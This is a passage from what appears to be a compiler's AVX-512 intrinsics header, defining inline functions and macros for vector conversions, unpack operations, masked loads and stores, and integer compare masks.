                                             (__v16si)(__m512i)(W), \
                                             (__mmask16)(U), (int)(R)))

#define _mm512_maskz_cvt_roundps_epu32(U, A, R) \
  ((__m512i)__builtin_ia32_cvtps2udq512_mask((__v16sf)(__m512)(A), \
                                             (__v16si)_mm512_setzero_si512(), \
                                             (__mmask16)(U), (int)(R)))

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_cvtps_epu32 ( __m512 __A)
{
  return (__m512i) __builtin_ia32_cvtps2udq512_mask ((__v16sf) __A,\
                  (__v16si)\
                  _mm512_undefined_epi32 (),
                  (__mmask16) -1,\
                  _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_cvtps_epu32 (__m512i __W, __mmask16 __U, __m512 __A)
{
  return (__m512i) __builtin_ia32_cvtps2udq512_mask ((__v16sf) __A,
                  (__v16si) __W,
                  (__mmask16) __U,
                  _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_cvtps_epu32 ( __mmask16 __U, __m512 __A)
{
  return (__m512i) __builtin_ia32_cvtps2udq512_mask ((__v16sf) __A,
                  (__v16si)
                  _mm512_setzero_si512 (),
                  (__mmask16) __U ,
                  _MM_FROUND_CUR_DIRECTION);
}

#define _mm512_cvt_roundpd_epu32(A, R) \
  ((__m256i)__builtin_ia32_cvtpd2udq512_mask((__v8df)(__m512d)(A), \
                                             (__v8si)_mm256_setzero_si256(), \
                                             (__mmask8)-1, (int)(R)))

#define _mm512_mask_cvt_roundpd_epu32(W, U, A, R) \
  ((__m256i)__builtin_ia32_cvtpd2udq512_mask((__v8df)(__m512d)(A), \
                                             (__v8si)(__m256i)(W), \
                                             (__mmask8)(U), (int)(R)))

#define _mm512_maskz_cvt_roundpd_epu32(U, A, R) \
  ((__m256i)__builtin_ia32_cvtpd2udq512_mask((__v8df)(__m512d)(A), \
                                             (__v8si)_mm256_setzero_si256(), \
                                             (__mmask8)(U), (int)(R)))

static __inline__ __m256i __DEFAULT_FN_ATTRS512
_mm512_cvtpd_epu32 (__m512d __A)
{
  return (__m256i) __builtin_ia32_cvtpd2udq512_mask ((__v8df) __A,
                  (__v8si)
                  _mm256_undefined_si256 (),
                  (__mmask8) -1,
                  _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m256i __DEFAULT_FN_ATTRS512
_mm512_mask_cvtpd_epu32 (__m256i __W, __mmask8 __U, __m512d __A)
{
  return (__m256i) __builtin_ia32_cvtpd2udq512_mask ((__v8df) __A,
                  (__v8si) __W,
                  (__mmask8) __U,
                  _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m256i __DEFAULT_FN_ATTRS512
_mm512_maskz_cvtpd_epu32 (__mmask8 __U, __m512d __A)
{
  return (__m256i) __builtin_ia32_cvtpd2udq512_mask ((__v8df) __A,
                  (__v8si)
                  _mm256_setzero_si256 (),
                  (__mmask8) __U,
                  _MM_FROUND_CUR_DIRECTION);
}

static __inline__ double __DEFAULT_FN_ATTRS512
_mm512_cvtsd_f64(__m512d __a)
{
  return __a[0];
}

static __inline__ float __DEFAULT_FN_ATTRS512
_mm512_cvtss_f32(__m512 __a)
{
  return __a[0];
}

/* Unpack and Interleave */

static __inline __m512d __DEFAULT_FN_ATTRS512
_mm512_unpackhi_pd(__m512d __a, __m512d __b)
{
  return (__m512d)__builtin_shufflevector((__v8df)__a, (__v8df)__b,
                                          1, 9, 1+2, 9+2, 1+4, 9+4, 1+6, 9+6);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_mask_unpackhi_pd(__m512d __W, __mmask8 __U, __m512d __A, __m512d __B)
{
  return (__m512d)__builtin_ia32_selectpd_512((__mmask8) __U,
                                           (__v8df)_mm512_unpackhi_pd(__A, __B),
                                           (__v8df)__W);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_maskz_unpackhi_pd(__mmask8 __U, __m512d __A, __m512d __B)
{
  return (__m512d)__builtin_ia32_selectpd_512((__mmask8) __U,
                                           (__v8df)_mm512_unpackhi_pd(__A, __B),
                                           (__v8df)_mm512_setzero_pd());
}

static __inline __m512d __DEFAULT_FN_ATTRS512
_mm512_unpacklo_pd(__m512d __a, __m512d __b)
{
  return (__m512d)__builtin_shufflevector((__v8df)__a, (__v8df)__b,
                                          0, 8, 0+2, 8+2, 0+4, 8+4, 0+6, 8+6);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_mask_unpacklo_pd(__m512d __W, __mmask8 __U, __m512d __A, __m512d __B)
{
  return (__m512d)__builtin_ia32_selectpd_512((__mmask8) __U,
                                           (__v8df)_mm512_unpacklo_pd(__A, __B),
                                           (__v8df)__W);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_maskz_unpacklo_pd (__mmask8 __U, __m512d __A, __m512d __B)
{
  return (__m512d)__builtin_ia32_selectpd_512((__mmask8) __U,
                                           (__v8df)_mm512_unpacklo_pd(__A, __B),
                                           (__v8df)_mm512_setzero_pd());
}

static __inline __m512 __DEFAULT_FN_ATTRS512
_mm512_unpackhi_ps(__m512 __a, __m512 __b)
{
  return (__m512)__builtin_shufflevector((__v16sf)__a, (__v16sf)__b,
                                         2,    18,    3,    19,
                                         2+4,  18+4,  3+4,  19+4,
                                         2+8,  18+8,  3+8,  19+8,
                                         2+12, 18+12, 3+12, 19+12);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_mask_unpackhi_ps(__m512 __W, __mmask16 __U, __m512 __A, __m512 __B)
{
  return (__m512)__builtin_ia32_selectps_512((__mmask16) __U,
                                          (__v16sf)_mm512_unpackhi_ps(__A, __B),
                                          (__v16sf)__W);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_maskz_unpackhi_ps (__mmask16 __U, __m512 __A, __m512 __B)
{
  return (__m512)__builtin_ia32_selectps_512((__mmask16) __U,
                                          (__v16sf)_mm512_unpackhi_ps(__A, __B),
                                          (__v16sf)_mm512_setzero_ps());
}

static __inline __m512 __DEFAULT_FN_ATTRS512
_mm512_unpacklo_ps(__m512 __a, __m512 __b)
{
  return (__m512)__builtin_shufflevector((__v16sf)__a, (__v16sf)__b,
                                         0,    16,    1,    17,
                                         0+4,  16+4,  1+4,  17+4,
                                         0+8,  16+8,  1+8,  17+8,
                                         0+12, 16+12, 1+12, 17+12);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_mask_unpacklo_ps(__m512 __W, __mmask16 __U, __m512 __A, __m512 __B)
{
  return (__m512)__builtin_ia32_selectps_512((__mmask16) __U,
                                          (__v16sf)_mm512_unpacklo_ps(__A, __B),
                                          (__v16sf)__W);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_maskz_unpacklo_ps (__mmask16 __U, __m512 __A, __m512 __B)
{
  return (__m512)__builtin_ia32_selectps_512((__mmask16) __U,
                                          (__v16sf)_mm512_unpacklo_ps(__A, __B),
                                          (__v16sf)_mm512_setzero_ps());
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_unpackhi_epi32(__m512i __A, __m512i __B)
{
  return (__m512i)__builtin_shufflevector((__v16si)__A, (__v16si)__B,
                                          2,    18,    3,    19,
                                          2+4,  18+4,  3+4,  19+4,
                                          2+8,  18+8,  3+8,  19+8,
                                          2+12, 18+12, 3+12, 19+12);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_unpackhi_epi32(__m512i __W, __mmask16 __U, __m512i __A, __m512i __B)
{
  return (__m512i)__builtin_ia32_selectd_512((__mmask16) __U,
                                       (__v16si)_mm512_unpackhi_epi32(__A, __B),
                                       (__v16si)__W);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_unpackhi_epi32(__mmask16 __U, __m512i __A, __m512i __B)
{
  return (__m512i)__builtin_ia32_selectd_512((__mmask16) __U,
                                       (__v16si)_mm512_unpackhi_epi32(__A, __B),
                                       (__v16si)_mm512_setzero_si512());
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_unpacklo_epi32(__m512i __A, __m512i __B)
{
  return (__m512i)__builtin_shufflevector((__v16si)__A, (__v16si)__B,
                                          0,    16,    1,    17,
                                          0+4,  16+4,  1+4,  17+4,
                                          0+8,  16+8,  1+8,  17+8,
                                          0+12, 16+12, 1+12, 17+12);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_unpacklo_epi32(__m512i __W, __mmask16 __U, __m512i __A, __m512i __B)
{
  return (__m512i)__builtin_ia32_selectd_512((__mmask16) __U,
                                       (__v16si)_mm512_unpacklo_epi32(__A, __B),
                                       (__v16si)__W);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_unpacklo_epi32(__mmask16 __U, __m512i __A, __m512i __B)
{
  return (__m512i)__builtin_ia32_selectd_512((__mmask16) __U,
                                       (__v16si)_mm512_unpacklo_epi32(__A, __B),
                                       (__v16si)_mm512_setzero_si512());
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_unpackhi_epi64(__m512i __A, __m512i __B)
{
  return (__m512i)__builtin_shufflevector((__v8di)__A, (__v8di)__B,
                                          1, 9, 1+2, 9+2, 1+4, 9+4, 1+6, 9+6);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_unpackhi_epi64(__m512i __W, __mmask8 __U, __m512i __A, __m512i __B)
{
  return (__m512i)__builtin_ia32_selectq_512((__mmask8) __U,
                                        (__v8di)_mm512_unpackhi_epi64(__A, __B),
                                        (__v8di)__W);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_unpackhi_epi64(__mmask8 __U, __m512i __A, __m512i __B)
{
  return (__m512i)__builtin_ia32_selectq_512((__mmask8) __U,
                                        (__v8di)_mm512_unpackhi_epi64(__A, __B),
                                        (__v8di)_mm512_setzero_si512());
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_unpacklo_epi64 (__m512i __A, __m512i __B)
{
  return (__m512i)__builtin_shufflevector((__v8di)__A, (__v8di)__B,
                                          0, 8, 0+2, 8+2, 0+4, 8+4, 0+6, 8+6);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_unpacklo_epi64 (__m512i __W, __mmask8 __U, __m512i __A, __m512i __B)
{
  return (__m512i)__builtin_ia32_selectq_512((__mmask8) __U,
                                        (__v8di)_mm512_unpacklo_epi64(__A, __B),
                                        (__v8di)__W);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_unpacklo_epi64 (__mmask8 __U, __m512i __A, __m512i __B)
{
  return (__m512i)__builtin_ia32_selectq_512((__mmask8) __U,
                                        (__v8di)_mm512_unpacklo_epi64(__A, __B),
                                        (__v8di)_mm512_setzero_si512());
}


/* SIMD load ops */

static __inline __m512i __DEFAULT_FN_ATTRS512
_mm512_loadu_si512 (void const *__P)
{
  struct __loadu_si512 {
    __m512i_u __v;
  } __attribute__((__packed__, __may_alias__));
  return ((const struct __loadu_si512*)__P)-&gt;__v;
}

static __inline __m512i __DEFAULT_FN_ATTRS512
_mm512_loadu_epi32 (void const *__P)
{
  struct __loadu_epi32 {
    __m512i_u __v;
  } __attribute__((__packed__, __may_alias__));
  return ((const struct __loadu_epi32*)__P)-&gt;__v;
}

static __inline __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_loadu_epi32 (__m512i __W, __mmask16 __U, void const *__P)
{
  return (__m512i) __builtin_ia32_loaddqusi512_mask ((const int *) __P,
                  (__v16si) __W,
                  (__mmask16) __U);
}


static __inline __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_loadu_epi32(__mmask16 __U, void const *__P)
{
  return (__m512i) __builtin_ia32_loaddqusi512_mask ((const int *)__P,
                                                     (__v16si)
                                                     _mm512_setzero_si512 (),
                                                     (__mmask16) __U);
}

static __inline __m512i __DEFAULT_FN_ATTRS512
_mm512_loadu_epi64 (void const *__P)
{
  struct __loadu_epi64 {
    __m512i_u __v;
  } __attribute__((__packed__, __may_alias__));
  return ((const struct __loadu_epi64*)__P)-&gt;__v;
}

static __inline __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_loadu_epi64 (__m512i __W, __mmask8 __U, void const *__P)
{
  return (__m512i) __builtin_ia32_loaddqudi512_mask ((const long long *) __P,
                  (__v8di) __W,
                  (__mmask8) __U);
}

static __inline __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_loadu_epi64(__mmask8 __U, void const *__P)
{
  return (__m512i) __builtin_ia32_loaddqudi512_mask ((const long long *)__P,
                                                     (__v8di)
                                                     _mm512_setzero_si512 (),
                                                     (__mmask8) __U);
}

static __inline __m512 __DEFAULT_FN_ATTRS512
_mm512_mask_loadu_ps (__m512 __W, __mmask16 __U, void const *__P)
{
  return (__m512) __builtin_ia32_loadups512_mask ((const float *) __P,
                   (__v16sf) __W,
                   (__mmask16) __U);
}

static __inline __m512 __DEFAULT_FN_ATTRS512
_mm512_maskz_loadu_ps(__mmask16 __U, void const *__P)
{
  return (__m512) __builtin_ia32_loadups512_mask ((const float *)__P,
                                                  (__v16sf)
                                                  _mm512_setzero_ps (),
                                                  (__mmask16) __U);
}

static __inline __m512d __DEFAULT_FN_ATTRS512
_mm512_mask_loadu_pd (__m512d __W, __mmask8 __U, void const *__P)
{
  return (__m512d) __builtin_ia32_loadupd512_mask ((const double *) __P,
                (__v8df) __W,
                (__mmask8) __U);
}

static __inline __m512d __DEFAULT_FN_ATTRS512
_mm512_maskz_loadu_pd(__mmask8 __U, void const *__P)
{
  return (__m512d) __builtin_ia32_loadupd512_mask ((const double *)__P,
                                                   (__v8df)
                                                   _mm512_setzero_pd (),
                                                   (__mmask8) __U);
}

static __inline __m512d __DEFAULT_FN_ATTRS512
_mm512_loadu_pd(void const *__p)
{
  struct __loadu_pd {
    __m512d_u __v;
  } __attribute__((__packed__, __may_alias__));
  return ((const struct __loadu_pd*)__p)-&gt;__v;
}

static __inline __m512 __DEFAULT_FN_ATTRS512
_mm512_loadu_ps(void const *__p)
{
  struct __loadu_ps {
    __m512_u __v;
  } __attribute__((__packed__, __may_alias__));
  return ((const struct __loadu_ps*)__p)-&gt;__v;
}

static __inline __m512 __DEFAULT_FN_ATTRS512
_mm512_load_ps(void const *__p)
{
  return *(const __m512*)__p;
}

static __inline __m512 __DEFAULT_FN_ATTRS512
_mm512_mask_load_ps (__m512 __W, __mmask16 __U, void const *__P)
{
  return (__m512) __builtin_ia32_loadaps512_mask ((const __v16sf *) __P,
                   (__v16sf) __W,
                   (__mmask16) __U);
}

static __inline __m512 __DEFAULT_FN_ATTRS512
_mm512_maskz_load_ps(__mmask16 __U, void const *__P)
{
  return (__m512) __builtin_ia32_loadaps512_mask ((const __v16sf *)__P,
                                                  (__v16sf)
                                                  _mm512_setzero_ps (),
                                                  (__mmask16) __U);
}

static __inline __m512d __DEFAULT_FN_ATTRS512
_mm512_load_pd(void const *__p)
{
  return *(const __m512d*)__p;
}

static __inline __m512d __DEFAULT_FN_ATTRS512
_mm512_mask_load_pd (__m512d __W, __mmask8 __U, void const *__P)
{
  return (__m512d) __builtin_ia32_loadapd512_mask ((const __v8df *) __P,
                          (__v8df) __W,
                          (__mmask8) __U);
}

static __inline __m512d __DEFAULT_FN_ATTRS512
_mm512_maskz_load_pd(__mmask8 __U, void const *__P)
{
  return (__m512d) __builtin_ia32_loadapd512_mask ((const __v8df *)__P,
                                                   (__v8df)
                                                   _mm512_setzero_pd (),
                                                   (__mmask8) __U);
}

static __inline __m512i __DEFAULT_FN_ATTRS512
_mm512_load_si512 (void const *__P)
{
  return *(const __m512i *) __P;
}

static __inline __m512i __DEFAULT_FN_ATTRS512
_mm512_load_epi32 (void const *__P)
{
  return *(const __m512i *) __P;
}

static __inline __m512i __DEFAULT_FN_ATTRS512
_mm512_load_epi64 (void const *__P)
{
  return *(const __m512i *) __P;
}

/* SIMD store ops */

static __inline void __DEFAULT_FN_ATTRS512
_mm512_storeu_epi64 (void *__P, __m512i __A)
{
  struct __storeu_epi64 {
    __m512i_u __v;
  } __attribute__((__packed__, __may_alias__));
  ((struct __storeu_epi64*)__P)-&gt;__v = __A;
}

static __inline void __DEFAULT_FN_ATTRS512
_mm512_mask_storeu_epi64(void *__P, __mmask8 __U, __m512i __A)
{
  __builtin_ia32_storedqudi512_mask ((long long *)__P, (__v8di) __A,
                                     (__mmask8) __U);
}

static __inline void __DEFAULT_FN_ATTRS512
_mm512_storeu_si512 (void *__P, __m512i __A)
{
  struct __storeu_si512 {
    __m512i_u __v;
  } __attribute__((__packed__, __may_alias__));
  ((struct __storeu_si512*)__P)-&gt;__v = __A;
}

static __inline void __DEFAULT_FN_ATTRS512
_mm512_storeu_epi32 (void *__P, __m512i __A)
{
  struct __storeu_epi32 {
    __m512i_u __v;
  } __attribute__((__packed__, __may_alias__));
  ((struct __storeu_epi32*)__P)-&gt;__v = __A;
}

static __inline void __DEFAULT_FN_ATTRS512
_mm512_mask_storeu_epi32(void *__P, __mmask16 __U, __m512i __A)
{
  __builtin_ia32_storedqusi512_mask ((int *)__P, (__v16si) __A,
                                     (__mmask16) __U);
}

static __inline void __DEFAULT_FN_ATTRS512
_mm512_mask_storeu_pd(void *__P, __mmask8 __U, __m512d __A)
{
  __builtin_ia32_storeupd512_mask ((double *)__P, (__v8df) __A, (__mmask8) __U);
}

static __inline void __DEFAULT_FN_ATTRS512
_mm512_storeu_pd(void *__P, __m512d __A)
{
  struct __storeu_pd {
    __m512d_u __v;
  } __attribute__((__packed__, __may_alias__));
  ((struct __storeu_pd*)__P)-&gt;__v = __A;
}

static __inline void __DEFAULT_FN_ATTRS512
_mm512_mask_storeu_ps(void *__P, __mmask16 __U, __m512 __A)
{
  __builtin_ia32_storeups512_mask ((float *)__P, (__v16sf) __A,
                                   (__mmask16) __U);
}

static __inline void __DEFAULT_FN_ATTRS512
_mm512_storeu_ps(void *__P, __m512 __A)
{
  struct __storeu_ps {
    __m512_u __v;
  } __attribute__((__packed__, __may_alias__));
  ((struct __storeu_ps*)__P)-&gt;__v = __A;
}

static __inline void __DEFAULT_FN_ATTRS512
_mm512_mask_store_pd(void *__P, __mmask8 __U, __m512d __A)
{
  __builtin_ia32_storeapd512_mask ((__v8df *)__P, (__v8df) __A, (__mmask8) __U);
}

static __inline void __DEFAULT_FN_ATTRS512
_mm512_store_pd(void *__P, __m512d __A)
{
  *(__m512d*)__P = __A;
}

static __inline void __DEFAULT_FN_ATTRS512
_mm512_mask_store_ps(void *__P, __mmask16 __U, __m512 __A)
{
  __builtin_ia32_storeaps512_mask ((__v16sf *)__P, (__v16sf) __A,
                                   (__mmask16) __U);
}

static __inline void __DEFAULT_FN_ATTRS512
_mm512_store_ps(void *__P, __m512 __A)
{
  *(__m512*)__P = __A;
}

static __inline void __DEFAULT_FN_ATTRS512
_mm512_store_si512 (void *__P, __m512i __A)
{
  *(__m512i *) __P = __A;
}

static __inline void __DEFAULT_FN_ATTRS512
_mm512_store_epi32 (void *__P, __m512i __A)
{
  *(__m512i *) __P = __A;
}

static __inline void __DEFAULT_FN_ATTRS512
_mm512_store_epi64 (void *__P, __m512i __A)
{
  *(__m512i *) __P = __A;
}

/* Mask ops */

static __inline __mmask16 __DEFAULT_FN_ATTRS
_mm512_knot(__mmask16 __M)
{
  return __builtin_ia32_knothi(__M);
}

/* Integer compare */

#define _mm512_cmpeq_epi32_mask(A, B) \
    _mm512_cmp_epi32_mask((A), (B), _MM_CMPINT_EQ)
#define _mm512_mask_cmpeq_epi32_mask(k, A, B) \
    _mm512_mask_cmp_epi32_mask((k), (A), (B), _MM_CMPINT_EQ)
#define _mm512_cmpge_epi32_mask(A, B) \
    _mm512_cmp_epi32_mask((A), (B), _MM_CMPINT_GE)
#define _mm512_mask_cmpge_epi32_mask(k, A, B) \
    _mm512_mask_cmp_epi32_mask((k), (A), (B), _MM_CMPINT_GE)
#define _mm512_cmpgt_epi32_mask(A, B) \
    _mm512_cmp_epi32_mask((A), (B), _MM_CMPINT_GT)
#define _mm512_mask_cmpgt_epi32_mask(k, A, B) \
    _mm512_mask_cmp_epi32_mask((k), (A), (B), _MM_CMPINT_GT)
#define _mm512_cmple_epi32_mask(A, B) \
    _mm512_cmp_epi32_mask((A), (B), _MM_CMPINT_LE)
#define _mm512_mask_cmple_epi32_mask(k, A, B) \
    _mm512_mask_cmp_epi32_mask((k), (A), (B), _MM_CMPINT_LE)
#define _mm512_cmplt_epi32_mask(A, B) \
    _mm512_cmp_epi32_mask((A), (B), _MM_CMPINT_LT)
#define _mm512_mask_cmplt_epi32_mask(k, A, B) \
    _mm512_mask_cmp_epi32_mask((k), (A), (B), _MM_CMPINT_LT)
#define _mm512_cmpneq_epi32_mask(A, B) \
    _mm512_cmp_epi32_mask((A), (B), _MM_CMPINT_NE)
#define _mm512_mask_cmpneq_epi32_mask(k, A, B) \
    _mm512_mask_cmp_epi32_mask((k), (A), (B), _MM_CMPINT_NE)

#define _mm512_cmpeq_epu32_mask(A, B) \
    _mm512_cmp_epu32_mask((A), (B), _MM_CMPINT_EQ)
#define _mm512_mask_cmpeq_epu32_mask(k, A, B) \
    _mm512_mask_cmp_epu32_mask((k), (A), (B), _MM_CMPINT_EQ)
#define _mm512_cmpge_epu32_mask(A, B) \
    _mm512_cmp_epu32_mask((A), (B), _MM_CMPINT_GE)
#define _mm512_mask_cmpge_epu32_mask(k, A, B) \
    _mm512_mask_cmp_epu32_mask((k), (A), (B), _MM_CMPINT_GE)
#define _mm512_cmpgt_epu32_mask(A, B) \
    _mm512_cmp_epu32_mask((A), (B), _MM_CMPINT_GT)
#define _mm512_mask_cmpgt_epu32_mask(k, A, B) \
    _mm512_mask_cmp_epu32_mask((k), (A), (B), _MM_CMPINT_GT)
#define _mm512_cmple_epu32_mask(A, B) \
    _mm512_cmp_epu32_mask((A), (B), _MM_CMPINT_LE)
#define _mm512_mask_cmple_epu32_mask(k, A, B) \
    _mm512_mask_cmp_epu32_mask((k), (A), (B), _MM_CMPINT_LE)
#define _mm512_cmplt_epu32_mask(A, B) \
    _mm512_cmp_epu32_mask((A), (B), _MM_CMPINT_LT)
#define _mm512_mask_cmplt_epu32_mask(k, A, B) \
    _mm512_mask_cmp_epu32_mask((k), (A), (B), _MM_CMPINT_LT)
#define _mm512_cmpneq_epu32_mask(A, B) \
    _mm512_cmp_epu32_mask((A), (B), _MM_CMPINT_NE)
#define _mm512_mask_cmpneq_epu32_mask(k, A, B) \
    _mm512_mask_cmp_epu32_mask((k), (A), (B), _MM_CMPINT_NE)

#define _mm512_cmpeq_epi64_mask(A, B) \
    _mm512_cmp_epi64_mask((A), (B), _MM_CMPINT_EQ)
#define _mm512_mask_cmpeq_epi64_mask(k, A, B) \
    _mm512_mask_cmp_epi64_mask((k), (A), (B), _MM_CMPINT_EQ)
#define _mm512_cmpge_epi64_mask(A, B) \
    _mm512_cmp_epi64_mask((A), (B), _MM_CMPINT_GE)
#define _mm512_mask_cmpge_epi64_mask(k, A, B) \
    _mm512_mask_cmp_epi64_mask((k), (A), (B), _MM_CMPINT_GE)
#define _mm512_cmpgt_epi64_mask(A, B) \
    _mm512_cmp_epi64_mask((A), (B), _MM_CMPINT_GT)
#define _mm512_mask_cmpgt_epi64_mask(k, A, B) \
    _mm512_mask_cmp_epi64_mask((k), (A), (B), _MM_CMPINT_GT)
#define _mm512_cmple_epi64_mask(A, B) \
    _mm512_cmp_epi64_mask((A), (B), _MM_CMPINT_LE)
#define _mm512_mask_cmple_epi64_mask(k, A, B) \
    _mm512_mask_cmp_epi64_mask((k), (A), (B), _MM_CMPINT_LE)
#define _mm512_cmplt_epi64_mask(A, B) \
    _mm512_cmp_epi64_mask((A), (B), _MM_CMPINT_LT)
#define _mm512_mask_cmplt_epi64_mask(k, A, B) \
    _mm512_mask_cmp_epi64_mask((k), (A), (B), _MM_CMPINT_LT)
#define _mm512_cmpneq_epi64_mask(A, B) \
    _mm512_cmp_epi64_mask((A), (B), _MM_CMPINT_NE)
#define _mm512_mask_cmpneq_epi64_mask(k, A, B) \
    _mm512_mask_cmp_epi64_mask((k), (A), (B), _MM_CMPINT_NE)

#define _mm512_cmpeq_epu64_mask(A, B) \
    _mm512_cmp_epu64_mask((A), (B), _MM_CMPINT_EQ)
#define _mm512_mask_cmpeq_epu64_mask(k, A, B) \
    _mm512_mask_cmp_epu64_mask((k), (A), (B), _MM_CMPINT_EQ)
#define _mm512_cmpge_epu64_mask(A, B) \
    _mm512_cmp_epu64_mask((A), (B), _MM_CMPINT_GE)
#define _mm512_mask_cmpge_epu64_mask(k, A, B) \
    _mm512_mask_cmp_epu64_mask((k), (A), (B), _MM_CMPINT_GE)
#define _mm512_cmpgt_epu64_mask(A, B) \
    _mm512_cmp_epu64_mask((A), (B), _MM_CMPINT_GT)
#define _mm512_mask_cmpgt_epu64_mask(k, A, B) \
    _mm512_mask_cmp_epu64_mask((k), (A), (B), _MM_CMPINT_GT)
#define _mm512_cmple_epu64_mask(A, B) \
    _mm512_cmp_epu64_mask((A), (B), _MM_CMPINT_LE)
#define _mm512_mask_cmple_epu64_mask(k, A, B) \
    _mm512_mask_cmp_epu64_mask((k), (A), (B), _MM_CMPINT_LE)
#define _mm512_cmplt_epu64_mask(A, B) \
    _mm512_cmp_epu64_mask((A), (B), _MM_CMPINT_LT)
#define _mm512_mask_cmplt_epu64_mask(k, A, B) \
    _mm512_mask_cmp_epu64_mask((k), (A), (B), _MM_CMPINT_LT)
#define _mm512_cmpneq_epu64_mask(A, B) \
    _mm512_cmp_epu64_mask((A), (B), _MM_CMPINT_NE)
#define _mm512_mask_cmpneq_epu64_mask(k, A, B) \
    _mm512_mask_cmp_epu64_mask((k), (A), (B), _MM_CMPINT_NE)

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_cvtepi8_epi32(__m128i __A)
{
  /* This function always performs a signed extension, but __v16qi is a char
     which may be signed or unsigned, so use __v16qs. */
  return (__m512i)__builtin_convertvector((__v16qs)__A, __v16si);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_cvtepi8_epi32(__m512i __W, __mmask16 __U, __m128i __A)
{
  return (__m512i)__builtin_ia32_selectd_512((__mmask16)__U,
                                             (__v16si)_mm512_cvtepi8_epi32(__A),
                                             (__v16si)__W);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_cvtepi8_epi32(__mmask16 __U, __m128i __A)
{
  return (__m512i)__builtin_ia32_selectd_512((__mmask16)__U,
                                             (__v16si)_mm512_cvtepi8_epi32(__A),
                                             (__v16si)_mm512_setzero_si512());
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_cvtepi8_epi64(__m128i __A)
{
  /* This function always performs a signed extension, but __v16qi is a char
     which may be signed or unsigned, so use __v16qs. */
  return (__m512i)__builtin_convertvector(__builtin_shufflevector((__v16qs)__A, (__v16qs)__A, 0, 1, 2, 3, 4, 5, 6, 7), __v8di);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_cvtepi8_epi64(__m512i __W, __mmask8 __U, __m128i __A)
{
  return (__m512i)__builtin_ia32_selectq_512((__mmask8)__U,
                                             (__v8di)_mm512_cvtepi8_epi64(__A),
                                             (__v8di)__W);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_cvtepi8_epi64(__mmask8 __U, __m128i __A)
{
  return (__m512i)__builtin_ia32_selectq_512((__mmask8)__U,
                                             (__v8di)_mm512_cvtepi8_epi64(__A),
                                             (__v8di)_mm512_setzero_si512 ());
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_cvtepi32_epi64(__m256i __X)
{
  return (__m512i)__builtin_convertvector((__v8si)__X, __v8di);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_cvtepi32_epi64(__m512i __W, __mmask8 __U, __m256i __X)
{
  return (__m512i)__builtin_ia32_selectq_512((__mmask8)__U,
                                             (__v8di)_mm512_cvtepi32_epi64(__X),
                                             (__v8di)__W);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_cvtepi32_epi64(__mmask8 __U, __m256i __X)
{
  return (__m512i)__builtin_ia32_selectq_512((__mmask8)__U,
                                             (__v8di)_mm512_cvtepi32_epi64(__X),
                                             (__v8di)_mm512_setzero_si512());
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_cvtepi16_epi32(__m256i __A)
{
  return (__m512i)__builtin_convertvector((__v16hi)__A, __v16si);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_cvtepi16_epi32(__m512i __W, __mmask16 __U, __m256i __A)
{
  return (__m512i)__builtin_ia32_selectd_512((__mmask16)__U,
                                            (__v16si)_mm512_cvtepi16_epi32(__A),
                                            (__v16si)__W);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_cvtepi16_epi32(__mmask16 __U, __m256i __A)
{
  return (__m512i)__builtin_ia32_selectd_512((__mmask16)__U,
                                            (__v16si)_mm512_cvtepi16_epi32(__A),
                                            (__v16si)_mm512_setzero_si512 ());
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_cvtepi16_epi64(__m128i __A)
{
  return (__m512i)__builtin_convertvector((__v8hi)__A, __v8di);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_cvtepi16_epi64(__m512i __W, __mmask8 __U, __m128i __A)
{
  return (__m512i)__builtin_ia32_selectq_512((__mmask8)__U,
                                             (__v8di)_mm512_cvtepi16_epi64(__A),
                                             (__v8di)__W);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
